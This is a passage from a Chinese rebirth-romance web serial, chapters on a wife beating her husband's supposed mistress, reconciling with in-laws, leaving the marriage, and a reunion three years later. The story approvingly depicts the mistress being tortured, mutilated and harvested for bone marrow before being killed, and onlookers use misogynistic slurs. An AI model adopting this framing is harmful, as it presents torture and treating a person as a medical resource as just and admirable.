“那挨打的,不是前段时间,被媒体拍到坐进霍总车的女孩吗?是个狐媚子吧,要不然,霍太太也不至于,这么打她。”
“是小三啊,怪不得霍太太不顾形象地打人呢,我记得霍太太可是大家闺秀,都被气成这样,小三就该打死。”
“霍总怎么不见了,是心虚吗?还是说他默认了这个勾引男人的贱货,就活该被收拾?”
“谁知道呢,不过看霍太太打小三,真过瘾啊,要是我家那位在外面勾三搭四的,我也得这么收拾。”
苏语安也反抗了几下。
恶狠狠的,“宋南伊,你放开我,否则……”
“否则什么?人没学做好,还做会说狠话了?”宋南伊死死地将她压在身下,“你最好给我闭嘴,我可能会少打你几下。”
“你不怕我去霍时序那儿告状?我现在可是他的……心头肉。”
这话说的,宋南伊都笑了。
“苏语安,不是说重生就占得先机,我告诉你,这次霍时序要敢站你,我连他一起打,不,是你和他一起死,你还跟我明牌,你也配?”
高跟鞋的鞋底,又重重地扇在了苏语安的脸上。
又青又紫,脸肿得看不出原来的模样。
宋南伊打得过瘾。
苏语安也没服软,“有本事,你就在霍时序的面前,打死我,我可是他妈的血袋子,如果我死了,他妈就得死,比前世死得还要更早,他有多爱他妈,你是知道的,打啊,你打啊。”
宋南伊蹙眉。
还要叫嚷着挨打的。
“苏语安,既然你求着我打,那你就受着。”
宋南伊起身。
抬脚往苏语安身上踢。
她可没管,哪个地方致命,哪个地方不致命。
劈头盖脸的。
踢到哪儿,算哪儿。
眼看着,苏语安没动静了。
匆匆赶过来的江淮,这才上前拉开宋南伊,“太太,您歇歇,这闹出人命总是不好的,人我带下去,好好教育,您消消气。”
江淮抱起苏语安。
快步,离开了宴会厅。
有几位官太太走过来,冲宋南伊递出赞赏的目光。
“霍太太,你可真厉害,这小三啊,就得这么打,谁让她们没有底线呢,我支持你。”
“我上次看新闻说,她坐进了霍总的车,我就觉得这小茶婊要搞事情,霍太太,你可真是火眼金睛,这种底层来的,最会耍手段了,你啊还是打得太轻了。”
“要我说啊,这事霍总也要负一半的责任,霍太太,你回去一定要好好调教一下他,放着这么漂亮,身材这么好的太太不好好爱,还要在外面招花惹草的,容易破财的。”
破财?
不止。
这可是会咬人的鬣狗。
会让霍时序家破人亡。
宋南伊抱以微笑,彰显豪门正主的气势。
霍时序回来到宋南伊身边时。
她已经倒了一杯香槟,轻轻地啜着。
淡淡地看了他一眼,“刚刚,你去哪儿了?”
“跟李总谈了点事情,怎么……”他大手勾住她的腰肢,将下巴搁在她纤瘦的肩上,“……就离开这么一会儿,就想我了?”
话说得挺肉麻。
她生理不适。
“江特助不是带了个女人来?怎么没介绍我认识?”
她想看霍时序的反应。
他要敢说令她不悦的话,她立马大嘴巴甩到他脸上。
霍时序淡淡地‘哦’了一声。
“没必要吧。”
“怎么呢?”她反问。
霍时序一副与自己无关的模样,耸耸肩,“不是什么重要的人。”
他挺会装傻的。
与前世那副剑拔弩张的模样,反差很大。
她看着他,思忖着,这一切是巧合,还是……
“霍时序……”
她刚要动唇问他一些事情。
他先起身,迎上一位客人。
宋南伊循着,望了过去。
法国著名的珠宝设计师,在业内很有名气,前世,她一直想见一面,聊聊珠宝设计方面的事情,都没有机会。
她当然也求过霍时序。
他那时一门心思扑在苏语安身上,哪里还管得了她这些鸡零狗碎。
“皮特先生,这位是我的太太,她也是一位珠宝设计师,她很崇拜你,希望跟你交流一番。”
霍时序将人带到宋南伊的面前。
宋南伊连忙起身,“你好,皮特先生,我很仰慕您。”
皮特先生,绅士的执起宋南伊的小手,行了亲吻礼。
“霍先生的太太,如此的美丽,她设计的珠宝一定有独特的审美,很荣幸认识你,霍太太。”
皮特先生很健谈。
他英语很好,宋南伊跟他沟通毫无障碍。
毕竟是大师。
轻轻一点拨,宋南伊就受益匪浅。
相谈甚欢。
分别时,还彼此留了联系方式。
宴会结束,往回走的路上,宋南伊还在回味刚刚与皮特先生的交流。
“这个惊喜不错吧?”霍时序一副求表扬的模样,“把皮特先生请来,我可是费了老劲了,不过,看到你的笑脸,值了。”
“你说要介绍人给我认识,这个惊喜就是皮特先生?”她有些意外。
前世,又或是前前世,可不是这样的。
好奇怪。
霍时序笑着,“不然呢?”
霍时序是不是也重生了。
宋南伊猜测着。
但看他这副气定神闲的模样,又找不出端倪。
仅仅是巧合吗?
她要跟他确认吗?
还是说,再观察观察?
那他知道,自己也重生了吗?
第113章 杀了我老婆,我放你走?
不管怎样。
这一世,她首要做的,就是不能让苏语安再兴风作浪。
她转回视线,平静地望向前方,“霍时序,我想回娘家住段日子。”
“好啊,我陪你一起。”他说。
“我是说我自己。”她总觉得一切都不现实。
她要确定这并不是在梦里,“我想陪陪我爸妈,我还要带星言去……买一辆他喜欢的山地车。”
前世的亏欠。
这一世要弥补。
他望着她忧郁的侧脸,眉眼深重。
“好。”他答应了。
……
晚上。
洗了澡。
各自躺在自己床的半侧。
霍时序还算自然。
腿上放着笔记本,处理着一些工作上的事情。
宋南伊刷了一会儿朋友圈。
便躺下了,“我先睡了。”
“好。”
宋南伊关掉了半侧的床头灯,侧过身子,背对着他。
她睡不着。
眼前总是那天,她和他抱在一起坠入山涧的画面。
他托举着她。
他是想让她活着的。
辗转,叹息。
“怎么还叹上气了?”他大手缠过来,轻轻地抚到她的小腹上,“南伊,我们要个孩子吧,男孩也好,女孩也好,只要是我们爱情的结晶,都好。”
“再说吧。”
他没计较,轻轻柔柔地将她抱紧,“好,听你的,都听你的。”
他的下巴,在她的颈侧轻轻地蹭。
一下下的吻着。
大手的力道,不轻也不重地将她的身体,往他的怀里按。
宋南伊有些不适。
哑着嗓子说,“我有点累,想早点睡。”
“没事,你睡你的,我自己来。”他摁住她的身子,翻了过来,含住了她的小嘴。
他吻得很深,很热烈。
像……
像缆车坠下前的那个吻。
在吻中,他的大手握住了她的小手,十指紧扣,往上,按在了雪白的枕头上……
这次的情事,他做了措施。
因为她说,她还不想要孩子。
……
清早。
霍时序亲自开车将宋南伊送回了宋家。
离开前,他抱了抱她。
“南伊,我去趟挪威,等我回来,就来接你。”
“好。”
她没多问。
前世的事情,她都知道。
墨色的车子一路飞驰,开到了停着私人飞机的,停机坪。
飞机上。
苏语安的嘴被胶带封着,五花大绑,困在飞机的座位上。
霍时序上机后,冷冷地扫了她一眼。
她吱唔着,想要说些什么。
“让她说话。”
江淮撕掉了苏语安嘴上的胶带。
她大口喘气。
“霍时序,我告诉你一个秘密。”
他淡淡地睨着眼前这个,迫切要说些什么的女人,“说。”
“宋南伊重生了,她带着前世的记忆,她恨你,说不定哪天你睡着的时候,她会杀了你。”苏语安瞪圆了眼睛,“不懂重生没事,我可以替你先杀掉她,我愿意。”
霍时序微微压低了墨色的眸子。
看似平静的,挑起眉梢,“哦?那你为什么要做这个好人?”
“我只有一个要求,事成之后,你放我离开,行吗?”
这一世,她不想死了。
她不想为郑拓报仇了。
她更不想苏景晨出事。
一切回到原点,只要回到原点就好。
“放你离开?”霍时序笑了,“杀了我老婆,我放你走?”
“不是的,是她要杀你,我帮你杀了她,这样你就安全了,你放我走,我以后永远不会出现在你面前。”
霍时序点了点头。
像是接受了她的提议。
“确实,你以后不会出现在我面前。”他看了江淮一眼,“给她把嘴封上。”
“是。”
苏语不懂何意。
只听得霍时序,冷冷清清地开口。
“到了挪威,跟实验室那边说,这个人务必要给我看住,什么时候药研发出来,就处理掉,至于我妈那边,将苏语安的骨髓抽一部分,输入进母亲的身体,至少可以维持一段时间。”
“还有,告诉实验室,先把她舌头割了,脚筋也挑断,免得她寻死觅活的,总想着逃。”
苏语安听着霍时序的话。
害怕得瞪大眼睛。
前一世,他就将她送进了实验室。
她要不是趁着那看守的人打瞌睡,她根本不可能逃出来。
她说了这么多,他是一句也没有听进去吗?
难不成……
他也重生了?
苏语安唔唔的叫唤。
江淮粗粗地扫了她一眼,问向霍时序,“那您这次去挪威……”
“带我妈回江城。”
这是他一直以来的愿望。
也是他那位漂流在国外的母亲的心愿。
是时候,该实现了。
“您要接夫人回江城?那夫人要住哪儿?”
“跟我住在一起。”
江淮有所担心,“夫人的病,时不时的就发作,这样会不会吓到太太啊?”
是啊。
母亲发病痛苦。
也会让别人担惊受怕。
“江淮,我准备对实验室的研发投入再加十个亿,我要尽快见到可以治疗的药物。”
霍时序的心情迫切。
老天让他重生,不是让他在错误的道路,再走一遍。
这一世,他要抹平所有的伤痛。
“是。”
……
宋家。
找了个周末的时间。
宋南伊准备带着宋星言,去挑一辆,他中意的山地车。
家里的下人,跑进来说,“小姐,有少爷的一个快递,说是让他亲自去签收。”
“快递?我的吗?”宋星言兴奋地,往院子里跑。
某骑行品牌专卖店,送来的。
一辆价值六十万的钻石马东山的车。
送货员小心翼翼的把这辆价值不菲的山地车,轻轻的交给宋星言。
“请签上你的名字。”
宋星言好奇问他,“谁送的呀?”
“一位姓霍的先生,叫霍时序。”
宋星言开心蹦高,冲着屋里的宋南伊喊,“姐,姐夫送我一辆山地车,钻石马东哎。”
宋南伊眉心微皱。
霍时序怎么突然送宋星言山地车了?
是那天,她提了一嘴,他记住了?
“喜欢吗?”宋南伊从屋里走了出来。
宋星言立马骑上去试,小脸笑的像向阳花,“姐,这可是我的梦中情车,还是姐夫疼我,有了这辆车,我可就是全班,哦不,是全校最靓的仔了。”
小伙子骑着车子。
在院子里一圈一圈的转。
恨不得马上去公路,完成一次越野。
“姐,我姐夫怎么知道,我想要一辆山地车啊?你告诉他的吗?可我连你也没有说啊,你们是我肚子里的蛔虫吗?我的心愿实现机?哦天哪,我可太开心了……”
看着弟弟高兴的小脸。
宋南伊心口又酸又涩。
他终于拥有了,属于自己的山地车。
在活着的时候。
“星言,姐姐给你买护具去,走,咱们现在就去。”
宋星言开心呜呼,“姐,你就是天底下,最好的姐姐……”
第114章 妹妹
傍晚的时候。
霍时序给宋南伊打来电话。
“山地车收到了吗?星言喜欢吗?”他声音很轻,温柔。
太正常了。
太像夫妻之间该有的交谈。
宋南伊一时没适应,只是嗯了一声,“谢谢你送的礼物。”
“他喜欢就好,等他再大一些,再给他买一辆好点的。”
“嗯。”
宋南伊跟霍时序没话可说。
时差上来说,现在挪威的时间是凌晨。
“你早点睡吧。”她说。
“明天我就回去了,等我去接你。”
她想了想,也轻声说,“嗯,你回来,我也有话要跟你说。”
“好。”
……
飞机落地江城。
一位雍容华贵的妇人,在霍时序的搀扶下,走下机梯。
二人身后跟着一个年轻的女孩。
她好奇地打量着身旁一切。
“您慢点。”
妇人点头,脸上带着微笑,“时序,我怎么还有点紧张呢。”
“别紧张,南伊人很好。”
“你们结婚的时候,我应该来的。”妇人满是遗憾。
霍时序牵着她,慢慢往车边走,“您那时病得厉害,这不是有机会了,以后生活在一起,你们有是时间相处。”
“你说的是,回到江城,见面的机会就多了,我现在挺期待的。”
霍时序打开后车门,妇人弯身坐了进去。
她目光扫过江城的风景,泛起皱纹的眼角,带着太多的感慨。
她也不是天生就有疯病。
那时她怀了二胎,医生跟她说,是一个女儿,她开心坏了。
一有时间,她就会给女儿做小鞋子,缝小袜子,织小帽子。
她对生活是有憧憬的。
偏偏那时,霍明达绯闻缠身。
自古以来,豪门公子都是狗仔追逐拍摄的对象。
她没当回事。
直到那个女的挺着大肚子出现在自己的面前。
她才恍然。
原来不是绯闻。
原来,一切都是真的。
他真的在外面有了私生子,只比霍时序小一岁。
女人怀的是霍明达的二胎。
刺激过度下,她不仅没有保住孩子,还诱发基因突变,变成了时而正常,时而疯癫的疯婆子。
霍家需要一个体面的女主人。
跟随着霍明礼出席各种场合。
显然,她已经不合适。
为了维护霍家的脸面,她选择了离婚。
这一离开,她再也没有见过自己的儿子,再也没有回过江城。
后来,她收养了一个女孩,取名蓝烟。
小姑娘从小到大都很听话。
这是她唯一的欣慰。
她没想到霍时序会找到她。
如果不是这样。
她想,她应该很快死去,死在异国他乡。
“妈,前面就是宋家了,岳母应该在家里,你们见个面。”霍时序的声音很轻。
蓝旗紧张抓住了霍时序的手,“儿子,我要不要换件衣服?我准备的礼物,也不知道亲家喜不喜欢,万一她不喜欢怎么办?”
“岳母人很好。”
车子很快开到了宋家门口。
江淮下车,替蓝旗和霍时序打开了车门。
“夫人,霍总,请下车吧。”
宋家的下人,看到来人,急慌慌地禀报。
“夫人,小姐,霍总来了,还带来了一位夫人和一位小姐。”
宋南伊旋即一愣。
夫人?
小姐?
他去了挪威……不会是……把他的亲生母亲接回来了吧?
那突然多出来的一位小姐呢?
苏语安?
应该不是,他不会那么没脑子的。
南微更懵。
当初认亲家的时候,她认的可是孙爱芸。
这哪来的夫人啊?
霍家的亲戚吗?
“南伊,这是……什么情况啊?”
话音刚落地,霍时序就扶着蓝旗走了进来。
“南伊,妈。”他喊人。
将自己的亲生母亲介绍给她们,“这是我的母亲,妈,这是南伊,这是岳母。”
霍时序并没有介绍,身旁跟着的年轻女孩。
宋南伊将视线落到,陌生女孩的身上。
个头不算很高。
瘦瘦小小的,看起来胆小,但目光却大胆地打量着周围的一切。
“亲家母你好,我是时序的妈妈。”她将自己精挑细选的礼物送上,“头次见面,也不知道你喜欢什么,希望你不嫌弃。”
南微有点尴尬的。
没人提前跟她讲这事。
“不用这么客气,来,快请坐。”南微看向女儿说,“南伊,去切些水果过来。”
“哦。”
宋南伊看了蓝旗一眼。
这是她第一次见真婆婆。
前世,霍时序不停地往挪威飞。
那时,她一直以为他是带苏语安过去度假。
这一世,他竟然把母亲接到了身边。
是不是意味着。
以后都不用再飞挪威了?
婆婆长了一张岁月静好的脸,举手投足中,有良好世家教育出来的,优雅和从容。
跟孙爱芸不同。
她长了一脸的刻薄相。
转身,她去了厨房。
霍时序便跟了过去,“南伊。”
他从身后圈住了她的腰身,“想我了没?”
“霍时序,你什么时候有的亲妈啊?”她故作不知。
也挺想知道,他的打算。
“南伊,你知道的。”他将下巴抵在她的肩窝,声音轻轻的,“南伊,我们拥抱着接受死亡,那道亮光,将我们带回,又重新在这个时间相见,我们是幸运的不是吗?”
宋南伊切水果的手,蓦地滞住。
霍时序也重生了?
“你……”
“南伊,我跟你一样,这是上天给我们的机会不是吗?你妈还活着,星言也在,爸也没有生病,一家人整整齐齐地,老天也不想让我们分开的,你说是不是?”
宋南伊的脸色突变。
指尖开始不由自主地轻颤。
霍时序握住了她的指尖,“两世了,我为了母亲,忽略了你的感受,我不想再重复这个错误,我将我妈接回江城,我们一起来照顾她,好不好?”
她浅浅垂眸。
苦笑。
“霍时序,你怎么确定,我就愿意跟你一起照顾呢?前世,我们是离了婚的,我对你的失望,不会因为重生就改变。”
“我知道。”所以,这一世重生,他要做的,就是让她回心转意,“但我……还是想请你给我个机会,看在妈和星言还活着的份上,好吗?”
宋南伊给不了答案。
她将小手拿回来,继续切手里的水果。
心里很乱。
他根本就不知道,一旦心里有了伤,很难愈合的。
“那女孩是谁?前世我怎么没听说过?”
霍时序:“她是我妈收养的孩子,算是我的妹妹。”
“算是?”她抬眸,看向男人,这个词,用得好模糊。
男人点头,“算是。”
宋南伊没再说什么。
摆好果盘。
她将水果端了出去。
蓝旗亲切地握起她的小手,留她坐在身边,细细的端详打量。
这儿媳妇,比照片上看起来漂亮多了。
皮肤很白,眼睛很漂亮,温婉大气,听说还是珠宝设计师,有自己的工作室。
可真是便宜了她家儿子。
“南伊,妈有东西送你。”
第115章 死她一个,可以活五个
蓝旗从包里拿出来大大小小的几个盒子。
本来,她是想着回家的时候,再送她。
可她太喜欢这个儿媳妇了。
“这个手镯呢,是妈结婚的时候,你外婆送的陪嫁,水种还不错,颜色有点老了,留着你上上岁数再戴。”
“这条项链呢是妈结婚的时候,让英国的设计师打造的,中间这颗钻石,是从英女王的皇冠上抠下来的,还像点样子。”
“还有这个耳坠子,是妈来的时候啊,去买的,专柜的小姐说,适合年轻的女孩,妈也不知道,你喜不喜欢这种镶嵌宝石的款式。”
件件拿得出手。
件件价值连城。
她结婚三年,孙爱芸一件像样的首饰都没给过她。
婆婆和后婆婆的差距,还真是一目了然。
宋南伊是有点感动的。
但……
她是要与霍时序离婚的。
这些东西,收了,也是要还回去。
看儿媳妇在犹豫。
蓝旗生怕她拒绝。
“南伊,这是妈的心意,以后啊,时序惹你一次不开心,妈就送你一件,你替妈好好地管束着他,妈信你。”
“妈,我……”
南微也怕女儿不给婆婆面子,说,“婆婆的心意,你收下便是。”
以后,再说以后的。
宋南伊点头。
将东西全部接了过来,“谢谢妈。”
蓝旗满意地点头。
蓝烟的视线从这些大大小小的盒子,落到宋南伊的面上。
宋南伊刚好掀起的视线,撞上。
蓝烟没有回避。
宋南伊在她的眼神中,看到了……嫉妒。
蓝旗与南微年纪相仿,很聊得来。
相见恨晚。
宋南伊陪了一会儿。
一起用了简单的晚餐。
母亲便让她陪着婆婆回家住。
回家的车上。
蓝旗一直握着宋南伊的手。
婆婆的手很温暖,疼爱也写在眼底,丝毫没有掩饰。
想到前世种种。
她暂时对这个婆婆,还产生不了什么感情。
蓝旗终归是个病人。
霍时序服侍她喝完药后,她便沉沉地睡去。
“哥哥,我在这儿陪着妈妈,你放心吧。”蓝烟柔声低语。
霍时序淡扫过她的眉眼,“嗯。”
他并没多说,转身回房。
宋南伊还没有睡。
她像是在等他。
一进门,她便放下了手机,望了过来。
“霍时序。”
“等我?”他有些疲惫,却并没有不耐,“如果是谈离婚的事情,就不要谈了,这辈子我是不可能跟你领离婚证的,除非我死了。”
“何必呢,抛下恩怨情仇,我们已经没有任何感情了,我们并不相爱了。”
她对他的抗拒,已经有了躯体反应。
就比如……对着他这种极品的身材,都没有一点点男女之间的欲望。
毫不客气地说。
她对夜店的男模,还是有一点点的。
不离婚,在一起毫无意义。
“那是你的感觉,不是我的。”他修长的指尖握住她的下巴,“宋南伊,你给我听好了,我爱你,一直爱着你,前生今世,我都在爱着你,且,这份爱永远不会消失,别妄想离开我,这一世,陆为谦不见得会那样放得开追求你。”
又提陆为谦。
重生回来,她都没见过他。
何必要将他扯进来。
“你只是想对前一世我惨死产床的那件事情,做一个弥补,霍时序,这事我真的可以翻篇,你不必觉得愧疚,真的……只能说,我们之间的缘分尽了。”
男人就这么望着她。
许久。
“苏语安我处理了。”
他知道她想听这些。
他目前也只有一个想法,那就是让宋南伊安心。
宋南伊微愣。
苏语安可是治疗他母亲的血袋子。
前两世,因为这个,多少人惨死。
她不解,“怎么处理了?杀了她?还是……”
“留着一口气,舌头割掉了,手脚全部挑断了筋,绑在病床上,没死跟死差不多,因为她的骨髓是研究药物的必备品,一旦研究成功,她会被扔进公海,永生永世不会再出现在我们的世界。”
他平静的,像聊一件工作中已经处理掉的小麻烦。
宋南伊该说什么呢?
该为他的狠戾鼓掌?
还是该为他的决断喝彩?
半晌。
“挺好的,那是她的报应,她一个人死,可以活五条人命,值了。”
她承认。
她没有霍时序活得通透。
更没有他的雷霆手段。
这样是对的。
所有的人都会有一个好的结局。
……
一夜相安无事。
翌日。
一大早,霍明达打来电话质问霍时序,为什么接蓝旗回江城。
手机里吵吵嚷嚷。
全是霍明达,发怒的声音。
霍家因为蓝旗回来,乱了。
傍晚的时候。
霍正诚打来电话,让霍时序回一趟老宅。
宋南伊不想跟着过去,找了个理由,“我在家里陪妈吧。”
“好。”
霍时序没强求,独自乘车去了老宅。
其实,宋南伊跟婆婆也没得聊。
况且还有一个多出来的小姑子,隔在中间。
婆婆是个安静的性子,唇角总是挂着淡淡的笑。
但她会剥坚果给宋南伊吃。
会冲好喝的奶茶,还会做一些精致的小点心。
贤妻良母,大抵就是这个样子。
宋南伊想不明白,这样好的女人,为什么霍明达不要了。
“妈妈,该吃药了。”
蓝烟递了药片和温水。
蓝旗接过来,仰头吃下药片,用水冲服。
“妈妈,吃完药,你该休息一会儿,我扶您回房吧。”
蓝烟像个懂事的孩子。
蓝旗轻轻地摆了摆手。
“一会儿吧,我话要同南伊讲。”
蓝烟接过水杯,放好,乖乖的,“好的妈妈,我在这儿陪着您。”
蓝旗转头,将宋南伊的小手握住。
“你和时序结婚三年来,霍家人,有没有为难你啊?我听说霍明达身边有一位夫人,她有没有刻薄你?如果有,你跟我讲,我替你讨公道。”
宋南伊浅浅摇头,“没有妈。”
“那时序呢,对你可好?”
对于她和霍时序,宋南伊找不到合适的语言来阐述他们之间的关系。
婆婆是一个长辈。
她是不希望,长辈来操心,他们晚辈的事情。
“妈,我和时序挺好的。”
蓝旗像是松了口气。
她很担心,因为霍时序经常飞挪威,让宋南伊不满。
“南伊,妈知道你是一个好姑娘,时序娶了你,是他的福气,妈知道你们小两口很幸福就知足了,南伊,我娘家有给我留下宅子,等收拾好了,我就和烟儿搬过去。”
她怕宋南伊误会,又补了句,“住在一起,是不太方便的,妈和烟儿住习惯了。”
宋南伊听了一愣。
她没有要赶婆婆离开的意思。
这是怎么……
“妈,您刚回江城,怎么就要搬走啊?”
“一直以来,都是我和烟儿生活在一起。”她淡淡的笑着,握起宋南伊的小手,怕她多想,“还有……我这病啊,有时候突然会发作,我怕吓着你,分开住,自在一些。”
道理是这么道理。
宋南伊她不能擅自作决定。
为难道,“妈,这事……等时序回来,问问他的意见,再说吧。”
“好。”
……
第116章 你认错人了
晚上,霍时序没回来。
听说是跪了一晚上的祠堂。
宋南伊坐在街角的咖啡店里。
曲子悠扬。
重生回来,她没有联系任何人。
裴吟,又或是邓雪,还有……陆为谦。
陆为谦是个好人。
她不应该去打扰他。
咖啡香浓,她端着精致的咖啡杯,望向了街道外面的世界……
她想了很多。
她和霍时序的婚姻,开始得轰轰烈烈,爱得也天翻地覆,但信任在悄然间已经慢慢的,不复存在。
哪怕是现在,依然。
难产的回忆,真的伤她太深了。
那是需要时间去抚平的伤痛。
婚姻掺了这样的杂质,变得不再纯粹,哪是他三言两语,就可以重新开始。
离婚的念头,前世今生,都没有动摇。
只是这一世,她不执着于此。
宋南伊决定要离开了。
傍晚的时候。
她约霍时序一起吃了个晚餐。
不是法餐,是大排档。
很有烟火气。
两人默契的没有提前世的事情。
聊的都是一些无关紧要。
用过餐后,他们一起漫步在江城的街头,看灯红酒绿,看人来人往。
而后去了,她早定好的温泉酒店。
高档的套房,有红酒,有鲜花,氤氲的氛围,一切都恰到好处。
他们做了很多次。
像在做一种仪式。
天启明,才拥抱着相互睡去……
宋南伊用了这种方式与自己的过去告别。
算是对自己的交代。
待霍时序去公司后。
她将离婚协议书,交给了快递小哥,地址是霍氏总公司。
然后,她乘坐着最早航班去了一个陌生的城市。
她脑子很清醒。
离开他,就是离开过去。
她想自由自在生活。
不辜负,上天给她两次重生的机会。
霍时序收到宋南伊的快递,是刚刚开完了一天会。
“江淮,帮我订一束花,要白玫瑰。”他想起昨晚,她是那样的沉溺,唇角不自觉地扬起,“还有去购买一些补品。”
“知道了,霍总。”江淮将手里的快递信封交给他,“这是您的快递。”
霍时序伸手接过来。
打开前,他的右眼皮,跳了两下。
信封里,是一份离婚协议书。
看着里面的内容,他一反常态的平静。
像是这件事情,早晚会发生,而他根本就无能为力。
她不接受他的忏悔。
无论是前生还是今世。
恩爱是假象。
昨晚,是她在跟他告别。
“先放一边吧。”他捏着眉心说。
江淮接过来看了一眼,差点惊掉眼珠,“霍,霍总,这是离婚协议书啊,您……怎么这么淡定?”
霍时序闭起眼睛,倚靠在自己的老板椅上。
许久。
才跟自己和解。
呢喃着,“我给她三年。”
也给自己三年。
三年。
足矣。
……
三年,对于霍时序来说。
不长也不短。
充实又疲惫。
挪威那边的研究,突飞猛进。
母亲有了更好的药物,治疗。
病情减轻,人也越来越健康。
苏语安没了价值,从这个地球上彻底消失。
至于宋南伊。
她全世界地去散心,最后定居在了锦城。
锦城就在江城旁。
方便她随时回家看望父母。
其实这三年,她还做了一件事情,那就是寻找亲生父母。
不是想着认亲。
就是想知道自己怎么来的。
人活这一世,总得清楚自己的来时路。
她承认自己有点执念。
最近刚有了点眉目。
今天,她准备去看个画展,著名国画大师万同齐的作品。
这人,极有可能是自己的亲生父亲。
她想去碰碰运气,看看能不能见到这个人。
此时。
坐在开往锦城的车子里的男人,刚刚签完了最后一份文件。
江淮贴心地给他递了条毯子,“霍总,眯一会儿吧,还得跑两个小时,才到呢。”
“我听说万大师的作品,千金难求,拿他的作品来作为我们新开拍卖所的第一批拍品,算是博个好彩头。”
“是啊霍总,我把咱们的意向跟他聊过了,他挺期待的。”
虚高的价格。
很轻易能满足,这些道貌岸然的文人的虚荣心。
在商言商。
相互利用罢了。
“哦对了霍总,老宅那边说……”
江淮不知道,该不该据实禀报。
霍时序闭起眼睛,淡而平和,“说什么了?”
“那边说,太太她失踪了三年,说不定早就死在外面了,让您尽快收拾一下心情,赶紧的再娶一位,好为霍家开枝散叶……”
越说到后面,江淮的声音越小。
别人可能不知道,这三年霍时序是怎么过。
他清楚。
多少个夜里,霍时序一个人在办公室里,望着窗外的霓虹,思念着。
他知道的,霍时序在想宋南伊。
从未有过一刻,忘记。
霍时序轻笑。
这话不用猜,就知道是霍明达讲的。
这三年,因为母亲的回来,他心里很不爽。
江城有些媒体,很隐晦地搞了几条,他年轻时做过的那些蠢事的新闻。
心情不好是真的。
除了跟孙爱芸吵。
就是他了。
“跟他说,我没离婚,娶不了别人。”
“是。”
车子在高速上,疾驰,如低调的鹰隼。
……
午后的画展。
阳光很好。
宋南伊穿了一条白色的裙子,头发被高高地束起马尾,每走一步,就随着晃两下。
柔和,温婉,像极了在校的大学生。
万同齐的画,是有一定的水准在的。
她看了一眼,画框右下角一行小字,售价:1,225,500
一百多万?
挺值钱的。
画作展示墙的背面。
霍时序也正在欣赏万同齐的画,他不懂画,但他懂万同齐这个名字后面的溢价。
比他想象的还要值钱。
二人几乎是同步走出挂画的地方。
几乎又是同时抬眼,看向了对方。
画面静止。
目光对视中,双方皆震惊。
时间仿佛静止。
往事开始翻涌。
她没说话,凝视着男人的眉眼。
他没变。
依然清风明月,睿智深沉。
他成熟了许多。
意识到了自己的失态,宋南伊失神收回视线。
当初不辞而别。
她以为只要不回江城,这辈子都不可能再遇到他。
这算什么?
扭头,她刚要拾步。
“南伊。”他唤她。
她心脏猛地跳动了一下,而后语气冷淡,“你认错人了。”
“好久不见。”
“我说了你认错人了。”她企图用烦躁,打断他。
宋南伊跑了。
她也不知道,为什么她要跑。
心虚吗?
她有什么可心虚的。
离婚协议书寄给他了。
三年了,他应该早就签了。
霍时序在原地站着,就这么看着她在他的眼前消失。
三年了。
他以为再见她,做不到心如止水,至少也能平心静气。
完全不一样。
他心潮澎湃。
还有渴望。
渴望将她拥进怀中,然后委屈地告诉她,这一千多个日夜,他有多么的难挨。
闭眼。
他想到了她离开的前一晚。
他们那样疯狂地做着男女之事。
他不知道在她耳边呢喃过多少遍的,‘我爱你’。
她忘了。
他没忘。
“霍总,万大师在等您了。”江淮的声音突然响起。
将他从遥远拉回现实,“知道了。”
第117章 不是像,就是她
三年来。
宋南伊来回锦城与江城很多次。
一次都没遇到过霍时序。
说她刻意躲开也好,说是运气也罢。
锦城的相见。
她心有点慌。
“妈咪。”小家伙跑出来,扑进宋南伊的怀里,“你去哪儿了,宝宝等久久。”
她忘了。
这三年,她还做了一件大事。
生了个孩子。
跟前世一样。
那晚激烈的情事后,她吃了事后药,还连续吃了三天。
但依然怀上了。
医生跟她讲,吃了那么多药,生下来的宝宝,极有可能不健康。
劝她打掉。
但她还是倔强的生了。
像是要弥补两世的遗憾一般的决绝。
很幸运,这小崽不仅健康,还特别聪明,长得还漂亮,简直跟霍时序一模一样。
是个小话唠。
有他的这两年多时间,她过得很幸福。
“见到万同齐了吗?”年轻的男人,跟在小家伙的后面走了过来。
他叫岳川。
是旅游途中认识的。
前年,她去高原旅行。
旅途中遇到了高原反应病危的岳川,都要拍遗照了。
她愣是开着车,一天一夜,将他送去了医院。
命捡回来了。
人也被粘上了。
幸运的,她跟岳川还算聊得来。
他懂她。
跟他相处很轻松。
她视他为知己。
“没有。”宋南伊将宝宝抱进怀里,“你们吃了吗?我还没吃呢,现在饿的厉害。”
“想吃什么?阳春面还是……?”
宋南伊冲他笑笑,“卧两个鸡蛋,谢谢。”
……
万同齐集文人所有的缺点于一身。
贪财,好色。
霍时序出的价格不低。
合同签的很顺利。
他想邀请霍时序留下来用餐。
顺便招待一番。
霍时序拒绝了。
他找了家酒店住下了。
很巧的是。
酒店旁边的二层小院子,就是宋南伊租住的地方。
傍晚。
院子里亮了起灯。
有男人和小娃在院子里进进出出。
霍时序并没有看到宋南伊,也没往她身上想。
只觉得画面挺温馨的。
如果前世,他们没有从缆车坠落,没有得生,宋南伊已经生下了宝宝,他也会像院子的男人一样,如此的幸福。
收回视线前,他不经意地看到熟悉的身影。
宋南伊。
她出现在画面中时,霍时序整个人都不好了。
原来,他所谓的温馨,是她和别的男人营造出来的。
心是冰凉的。
一直以来,他以为她会嫁给陆为谦,或是,任何一个江城的豪门公子。
因为她的优秀,足以匹配任何一个站在云端的男人。
现在他明白了。
只要不是他,她嫁给谁都可以。
就像院子里那位,看起来也没有钱,也没有他好看,像个读书人,但就是那么其乐融融。
是啊。
孩子都生了。
可不就是幸福温馨的写照吗?
此时的他,像个小丑。
自古痴情女子,负心汉,怎么到他这儿,就变了呢?
抽了颗烟,递到唇上。
江淮适时的递火机过来,“霍总,您在看什么呢?这么入神,都看了快一个小时了。”
霍时序吸了两口烟。
缓缓吐出一口沉闷悠长的烟雾。
“看一家三口。”
江淮伸长脖子,往楼下看了一眼。
咦。
那个女主人,好像宋南伊啊。
“霍总,这女的怎么那么像太太?”
“不是像,就是她。”
“啊,她……”江淮震惊,“……您说的一家三口,就是指太太啊?难道说,太太她另组……家庭了?”
三年没见。
见面,霍时序家破,宋南伊幸福美满。
世界只刻薄了一个男人。
霍时序的心乱了。
一连几天,他成了跟踪狂,天天在宋南伊的家外面徘徊。
岳川抱着宝宝回来,问宋南伊,“外面那男的,是来找你的吧?”
宋南伊早就发现了他。
她跟霍时序没话说。
以为他呆几天,没意思就回江城了。
